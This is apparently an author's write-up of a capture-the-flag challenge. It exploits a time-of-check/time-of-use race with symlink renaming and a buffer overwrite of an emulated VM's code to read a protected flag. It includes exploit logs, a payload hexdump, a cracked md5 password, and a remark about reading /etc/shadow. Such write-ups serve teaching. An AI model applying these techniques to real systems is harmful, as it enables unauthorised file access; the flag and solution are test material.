VM Time C - Autorské řešení úlohy
Table of Contents
Finding the password from the md5 hash is trivial, just go to the first md5 decrypt site (e.g. https://hashes.com/en/decrypt/hash) and it will find it (it’s the notoriously well-known “letmein”).
We’ve once again got a binary that seems to emulate custom architecture. This time, when we run it, it asks for a filename, then it performs a check if the file does not contain the string “flag” (in the first line to be exact) and then allows us to write to that file.
__libc_open64(file=0x7fffffffc580 "test", oflag=0x2=O_RDWR)
However, we can see that the file is opened with O_RDWR flags, which means
that if we got access to the fd of the opened file, we would be able to read
from it. At first glance, this does not seem to help us much. We still cannot
open the file which contains the flag, because the program checks if the file
contains the string “flag”.
Fortunately, we can bypass this check using a simple race condition, or TOCTOU (time of check, time of use vulnerability). We can read more about race conditions for example here: https://www.geeksforgeeks.org/race-condition-vulnerability/
The main point is that if we are able to first have the program open a file which does not contain the flag and then rename the flag (or rather a symlink to it) to name of that file, after the condition is checked, but before the program opens the file for the custom code, we can make the program open the flag.
Example:
ln -s flag flag_link
filename = "file" // file does not contain the string "flag"
program checks if the file contains "flag"
=> the file does not contain "flag"
=> program continues execution
mv flag_link file
program opens the file // however, the file now is a symlink to flag
Note that this happens very quickly, so we’ll have to automate it and even then it won’t probably pass at the first try.
Now, let’s find out how to read the opened file. From strace we can see that
when the program asks for file content, it reads 2048 bytes. However, the
offset of executable memory is only 512 bytes. This means that we can, as in
the previous level, overwrite the code.
There is also a problem that we need to get to just the right instruction which
is currently being executed, because the program exits (which the previous one
did not). We can determine the offset by debugging in gdb or whatever we want
to use.
The full exploit is in ./e.py. To run the exploit, first we need to copy the
files via ssh, for example using scp. If you want to compile the
renameat2.s file yourself, you can run:
gcc -static -nostdlib -o renameat2 renameat2.s
Copy the files:
scp renameat2 e.py scp://hacker@localhost:4242//home/hacker
Install pwn:
pip install pwn
Run the exploit:
./e.py
The program finishes in about a second (non-renameat2 methods will be slower,
but still achievable within seconds, I just like to write asm rather than
bash):
time ./e.py
Linked flag_link to flag.
Touched f.
Started renameat2.
################################
flag{r4c1ng_f4st3r_7han_l1ght}
################################
Removed f.
Removed flag_link.
real 0.31s
user 0.19s
sys 0.21s
cpu 130%
time ./e.py
Linked flag_link to flag.
Touched f.
Started renameat2.
################################
flag{r4c1ng_f4st3r_7han_l1ght}
################################
Removed f.
Removed flag_link.
real 0.28s
user 0.21s
sys 0.13s
cpu 122%
To check how many processes are opened set argv[1] = "info", "debug" or
nothing for no debug output. The program usually runs the chall once or twice
in order to get the race condition (renameat2 is fast!):
./e.py debug
Linked flag_link to flag.
Touched f.
[+] Starting local process './renameat2' argv=[b'./renameat2'] : pid 24310
Started renameat2.
[+] Starting local process './chall': pid 24312
[DEBUG] Sent 0x1 bytes:
b'f'
[DEBUG] Sent 0x40a bytes:
00000000 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│
*
000003e0 42 42 42 42 42 42 42 42 42 42 42 42 31 23 26 75 │BBBB│BBBB│BBBB│1#&u│
000003f0 24 00 75 25 40 01 68 00 75 23 01 75 24 00 31 25 │$·u%│@·h·│u#·u│$·1%│
00000400 22 01 69 00 75 23 42 01 71 00 │"·i·│u#B·│q·│
0000040a
[*] Process './chall' stopped with exit code 0 (pid 24312)
[+] Starting local process './chall': pid 24314
[DEBUG] Sent 0x1 bytes:
b'f'
[DEBUG] Sent 0x40a bytes:
00000000 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│
*
000003e0 42 42 42 42 42 42 42 42 42 42 42 42 31 23 26 75 │BBBB│BBBB│BBBB│1#&u│
000003f0 24 00 75 25 40 01 68 00 75 23 01 75 24 00 31 25 │$·u%│@·h·│u#·u│$·1%│
00000400 22 01 69 00 75 23 42 01 71 00 │"·i·│u#B·│q·│
0000040a
[.] Receiving all data: 0B
[+] Receiving all data: Done (170B)exit code 66 (pid 24314)
[DEBUG] Received 0xaa bytes:
b'This program allows you to write to a file that exists within /home/hacker and does not contain the flag!\n'
b'Enter the filename (max 16 characters): \n'
b'Enter the new content:\n'
[+] Starting local process './chall': pid 24317
[DEBUG] Sent 0x1 bytes:
b'f'
[DEBUG] Sent 0x40a bytes:
00000000 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│
*
000003e0 42 42 42 42 42 42 42 42 42 42 42 42 31 23 26 75 │BBBB│BBBB│BBBB│1#&u│
000003f0 24 00 75 25 40 01 68 00 75 23 01 75 24 00 31 25 │$·u%│@·h·│u#·u│$·1%│
00000400 22 01 69 00 75 23 42 01 71 00 │"·i·│u#B·│q·│
0000040a
[◢] Receiving all data: 0B
[+] Receiving all data: Done (201B)exit code 66 (pid 24317)
[DEBUG] Received 0xc9 bytes:
b'This program allows you to write to a file that exists within /home/hacker and does not contain the flag!\n'
b'Enter the filename (max 16 characters): \n'
b'Enter the new content:\n'
b'flag{r4c1ng_f4st3r_7han_l1ght}\n'
################################
flag{r4c1ng_f4st3r_7han_l1ght}
################################
Removed f.
Removed flag_link.
[*] Stopped process './renameat2' (pid 24310)
Note 1.0: If the filesystem or kernel does not support the renameat2 syscall
(it’s relatively new), we can still do it normally either using bash or with
python. If python happens to be too slow, we can use more threads. It is
always possible to slow down the program in other ways - using large files/long
paths/running a lot of other processes (the kernel will do more context
switches as it doesn’t have unlimited cores => higher chance of hitting the
race condition)/doing magic with pipes and dup2.
Note 2.0: We can use scp to copy the files from local machine to the ssh
server:
scp renameat2 scp://hacker@<server_ip>//home/hacker/renameat2
Note 3.0: The fact that there’s Python interpreter installed on the remote machine isn’t mentioned in the instructions, however, I think it is something that one can easily check. Unfortunately, I cannot say this objectively, since I’ve written the Dockerfile to install Python and I know about its presence there. With that being said, it is always possible to write your solution in a compiled language and just copy the binary. I added Python just because it was (probably) used for the previous exploits and it makes writing exploits easier.
Note 4.0: With the current implementation, I see no way of preserving the intended race condition and simultaneously blocking the race condition that occurs between the canonical check and opening the file (an attacker could create a legit file and after checks for either canonical or hard link just change that file to be a symlink/hardlink to /etc/shadow and the program will gladly open it). Personally, I believe there will be some people who will do this, but since it also explores the concept of TOCTOU (in even more realistic environment), I won’t spend too much time trying to correct it. However, if any of the testers suggests a working approach, I’ll implement it.
Note 5.0: The opcodes for instructions and registers in a3 code change for each challenge, but finding them should be a thing of negligible difficulty, so I don’t describe it here.